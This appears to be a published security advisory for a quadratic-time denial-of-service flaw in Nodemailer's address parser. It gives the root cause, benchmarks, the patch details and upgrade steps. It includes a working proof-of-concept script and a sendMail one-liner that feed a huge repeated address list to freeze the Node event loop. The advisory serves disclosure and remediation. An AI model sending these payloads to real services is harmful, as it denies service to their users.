Skip to content

GHSA-2x7j-588g-ccc2 CVE-2026-92596

Nodemailer: Quadratic (O(n²)) time complexity in addressparser allows remote denial of service via a crafted address list

High npm
Severity
8.7 / 10
High · CVSS 4.0
Exploit chance (EPSS)
0.82%
Chance of exploitation in the next 30 days. Higher than 57.40% of scored vulnerabilities.
Known exploited
No
Not in CISA's catalog
Weakness
CWE-400 Uncontrolled Resource Consumption
CWE-407 Inefficient Algorithmic Complexity
Fix
9.1.0
Upgrade nodemailer to this version or later

Description

Summary

Nodemailer's address parser (lib/addressparser/index.js) parses a list of comma‑separated addresses in quadratic time — O(n²) in the number of addresses. A single crafted address string (e.g. a To, Cc, Bcc, From, or Reply‑To value, or any value passed to the exported addressparser) therefore consumes CPU proportional to the square of its length and blocks Node's single‑threaded event loop for the entire duration, denying service to every other request in the process.

This requires no special application configuration and no cooperating receiver — it is entirely inside the parser and triggers on the library's default code path. A ~1.5 MB address value freezes the process for ~25–30 seconds of 100% CPU; the cost grows with the square of the input, so a few‑MB value stalls the server for minutes. It is a distinct issue from the recursion DoS fixed as CVE‑2025‑14874 (that path is guarded by a nesting‑depth cap; this one is a flat, comma‑separated list with no such limit).

Details

addressparser tokenizes the input, splits it into per‑address token groups, and then accumulates the parsed results in a loop (lib/addressparser/index.js, ~lines 500–505):

addresses.forEach(addr => {
    const handled = _handleAddress(addr, depth);
    if (handled.length) {
        parsedAddresses = parsedAddresses.concat(handled);   // <-- line ~503
    }
});

Array.prototype.concat builds and returns a new array containing a copy of every element accumulated so far. Reassigning parsedAddresses = parsedAddresses.concat(handled) on each of the n iterations copies 1 + 2 + 3 + … + n elements in total, i.e. O(n²) work (and O(n²) transient allocations) for an input containing n addresses. Tokenization and _handleAddress themselves are linear; the quadratic blowup is entirely this accumulator.

Root‑cause proof. Replacing only that line with an in‑place append and re‑running the exact same input:

parsedAddresses = parsedAddresses.concat(handled);      ->  100000 addresses:  ~6068 ms
parsedAddresses.push.apply(parsedAddresses, handled);   ->  100000 addresses:  ~51 ms   (≈119x faster, now linear)

Measured scaling (nodemailer 9.0.6, 'a@b.com,'.repeat(n)):

addresses n input size parse time ratio for 2× input
25,000 0.19 MB ~0.35 s –
50,000 0.38 MB ~1.4 s ×4.0
100,000 0.76 MB ~6–8 s ×3.9
200,000 1.53 MB ~25–30 s ×4.1

Doubling the input quadruples the time — the signature of O(n²).

Reachability. The parser is invoked on any structured‑address header value on the normal send path (MimeNode.setHeader('To'/'Cc'/'Bcc'/'From'/'Reply-To', value) → _parseAddresses → addressparser, and getEnvelope()), so a single transport.sendMail({ to: <crafted string> }) triggers it. It is also reached directly through the exported require('nodemailer/lib/addressparser'), which many applications call to validate or display user‑supplied recipient lists. Confirmed via the public API: setHeader('To', 'a@b.com,'.repeat(80000)) + getEnvelope() blocks for ~3.9 s.

Suggested fix: accumulate in place instead of rebuilding the array each iteration, e.g. parsedAddresses.push.apply(parsedAddresses, handled); (or for (const h of handled) parsedAddresses.push(h);). Optionally cap the number of addresses / input length before parsing.

PoC

Environment: Node.js ≥ 18 and the published nodemailer@9.0.6. No transport, network, or configuration required — the cost is in parsing.

poc-dos.js:

'use strict';
const addressparser = require('nodemailer/lib/addressparser');

console.log('addresses | input size | parse time');
for (const n of [25000, 50000, 100000, 200000]) {
  const payload = 'a@b.com,'.repeat(n);        // n valid, comma-separated recipients
  const t0 = process.hrtime.bigint();
  addressparser(payload);                       // blocks synchronously
  const ms = Number(process.hrtime.bigint() - t0) / 1e6;
  console.log(String(n).padStart(9) + ' | ' + (payload.length / 1048576).toFixed(2) + ' MB   | ' + ms.toFixed(0).padStart(7) + ' ms');
}

Run:

npm init -y && npm install nodemailer@9.0.6
node poc-dos.js

Actual output (nodemailer 9.0.6):

addresses | input size | parse time
    25000 | 0.19 MB   |     381 ms
    50000 | 0.38 MB   |    1435 ms
   100000 | 0.76 MB   |    7949 ms
   200000 | 1.53 MB   |   25154 ms

Equivalent trigger through the normal send API (freezes the event loop):

const nodemailer = require('nodemailer');
nodemailer.createTransport({ jsonTransport: true })
  .sendMail({ from: 'a@b.com', to: 'a@b.com,'.repeat(150000), subject: 'x', text: 'y' });
// ~15+ seconds of 100% CPU inside addressparser before anything is sent

Impact

  • Who is impacted: any service that runs Nodemailer (or the standalone nodemailer/lib/addressparser) on an address value that can be influenced by an untrusted party — a recipient field in a "send email / invite / share" feature, a Reply‑To/From derived from user input, a contact‑import or mailing‑list parser, or any endpoint that validates addresses with addressparser. No authentication, special option, or particular receiver is needed.

Patched in 9.1.0

Three separate quadratic paths were fixed, not one:

  • addressparser rebuilt its accumulator with concat() on every address (9116da9).
  • The display-name merge loop directly below spliced each fragment out of the array, the same shape reached through 'a, b <c@d.com>,'.repeat(n) (same commit).
  • MimeNode#_convertAddresses checked recipient uniqueness with a linear scan per address (7cc38af, refined in 34da642). This was the most severe of the three and the reported proof of concept did not reach it: 'a@b.com,'.repeat(n) is one address repeated, which dedupes to a single envelope entry. A list of distinct recipients cost O(n^2) here, taking ~35s for 100k even after addressparser was fixed.

Fixed alongside: [].concat.apply in _parseAddresses threw RangeError: Maximum call stack size exceeded past roughly 124k recipients, with no crafted input needed (83b8c48).

Parsing 200k addresses now takes ~80ms instead of ~25s, and every path scales linearly. A new maxRecipients option (default 100000) throws rather than truncating, as a backstop.

Affected versions

npm

PackageVulnerableFixed in
nodemailer
< 9.1.0
9.1.0

How to fix

Move to the fixed version or later with your package manager, update the lockfile, and run your tests. If the package only arrives through another dependency, upgrade that dependency first. If none of its releases pulls a fixed version yet, force the version with your package manager's override.

nodemailer npm → 9.1.0

npm
npm install nodemailer@9.1.0
yarn
yarn add nodemailer@9.1.0
pnpm
pnpm add nodemailer@9.1.0

Severity breakdown

CVSS 4.0 8.7

CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

Attack vector
Network
Attack complexity
Low
Attack requirements
None
Privileges required
None
User interaction
None
Confidentiality (vulnerable system)
None
Integrity (vulnerable system)
None
Availability (vulnerable system)
High
Confidentiality (subsequent systems)
None
Integrity (subsequent systems)
None
Availability (subsequent systems)
None
Exploit maturity
Not defined
Scope
X

CVSS 3.1 7.5

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

Attack vector
Network
Attack complexity
Low
Privileges required
None
User interaction
None
Scope
Unchanged
Confidentiality
None
Integrity
None
Availability
High

Weakness

CWE-400: Uncontrolled Resource Consumption

The product does not properly control the allocation and maintenance of a limited resource.

How to prevent it
  • Architecture and Design: Design throttling mechanisms into the system architecture. The best protection is to limit the amount of resources that an unauthorized user can cause to be expended. A strong authentication and access control model will help prevent such attacks from occurring in the first place. The login application should be protected against DoS attacks as much as possible. Limiting the database access, perhaps by caching result sets, can help minimize the resources expended. To further limit the potential for a DoS attack, consider tracking the rate of requests received from users and blocking requests that exceed a defined rate threshold.
  • Architecture and Design: Mitigation of resource exhaustion attacks requires that the target system either: recognizes the attack and denies that user further access for a given amount of time, or uniformly throttles all requests in order to make it more difficult to consume resources more quickly than they can again be freed. The first of these solutions is an issue in itself though, since it may allow attackers to prevent the use of the system by a particular valid user. If the attacker impersonates the valid user, they may be able to prevent the user from accessing the server in question. The second solution is simply difficult to effectively institute -- and even when properly done, it does not provide a full solution. It simply makes the attack require more resources on the part of the attacker.
  • Architecture and Design: Ensure that protocols have specific limits of scale placed on them.
  • Implementation: Ensure that all failures in resource allocation place the system into a safe posture.

CWE-407: Inefficient Algorithmic Complexity

An algorithm in a product has an inefficient worst-case computational complexity that may be detrimental to system performance and can be triggered by an attacker, typically using crafted manipulations that ensure that the worst case is being reached.

References

Timeline

  1. Published
  2. Last updated by the source
  3. Latest EPSS score
AdvisorySeverityWhy it's related
GHSA-8c8m-p3m8-cjg8
Nodemailer: A nested comment ends early in addressparser, releasing the rest of the comment as a recipient
Medium Also affects nodemailer
GHSA-m943-m63m-w62w
Nodemailer: A ";" inside a quoted string or comment ends an address group early in addressparser, turning display text into a recipient
Medium Also affects nodemailer
GHSA-85x2-q946-cp5h
Nodemailer: A ">" inside a quoted local part ends an angle-addr early in addressparser, delivering to a domain the header does not name
Medium Also affects nodemailer
GHSA-4g23-2xm8-66gc
Nodemailer: Quadratic (O(n^2)) SMTP client reply parsing lets a malicious server or MITM cause a pre-auth remote denial of service
High Also affects nodemailer
GHSA-39m8-27wv-hr27
Nodemailer: Quadratic (O(n^2)) DKIM header unfolding lets a large folded header cause remote denial of service during signing
High Also affects nodemailer
GHSA-g73g-hqqh-jr95
Nodemailer: RFC 5322 comment inside an angle-bracket address is never stripped
Medium Also affects nodemailer
GHSA-4ffr-jq9g-5ffx
Nodemailer: Quadratic backtracking in SMTP AUTH mechanism detection regexes allows pre-auth remote denial of service
High Also affects nodemailer
GHSA-8vvx-rff5-p5rq
Nodemailer: Nested structured recipient arrays bypass the parser depth limit and cause stack exhaustion DoS
High Also affects nodemailer
Is this in your code?

MergeHarbor checks every repository's dependencies against this database, ranks what matters by exploitability and reachability, routes it to the owning team and opens the fix pull request.

Check your repos with MergeHarbor